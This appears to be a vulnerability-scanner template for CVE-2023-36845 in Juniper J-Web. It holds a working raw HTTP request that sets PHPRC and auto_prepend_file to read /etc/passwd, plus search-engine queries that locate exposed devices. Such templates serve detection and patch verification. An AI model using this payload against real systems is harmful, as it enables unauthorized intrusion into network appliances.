Juniper J-Web - Remote Code Execution

id: CVE-2023-36845

info:
  name: Juniper J-Web - Remote Code Execution
  author: yaser_s
  severity: critical
  description: |
    A PHP External Variable Modification vulnerability in J-Web of Juniper Networks Junos OS on EX Series and SRX Series allows an unauthenticated, network-based attacker to control certain environments variables to execute remote commands
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected device.
  reference:
    - https://vulncheck.com/blog/juniper-cve-2023-36845
    - https://nvd.nist.gov/vuln/detail/CVE-2023-36845
    - https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/
    - http://packetstormsecurity.com/files/174865/Juniper-SRX-Firewall-EX-Switch-Remote-Code-Execution.html
    - https://supportportal.juniper.net/JSA72300
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-36845
    cwe-id: CWE-473
    epss-score: 0.96663
    epss-percentile: 0.99636
    cpe: cpe:2.3:o:juniper:junos:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: juniper
    product: junos
    shodan-query:
      - title:"Juniper Web Device Manager"
      - http.title:"juniper web device manager"
    fofa-query: title="juniper web device manager"
    google-query: intitle:"juniper web device manager"
  tags: cve,cve2023,packetstorm,rce,unauth,juniper,kev

http:
  - raw:
      - |
        POST /?PHPRC=/dev/fd/0 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        auto_prepend_file="/etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: word
        part: body
        words:
          - "Juniper"

      - type: status
        status:
          - 200
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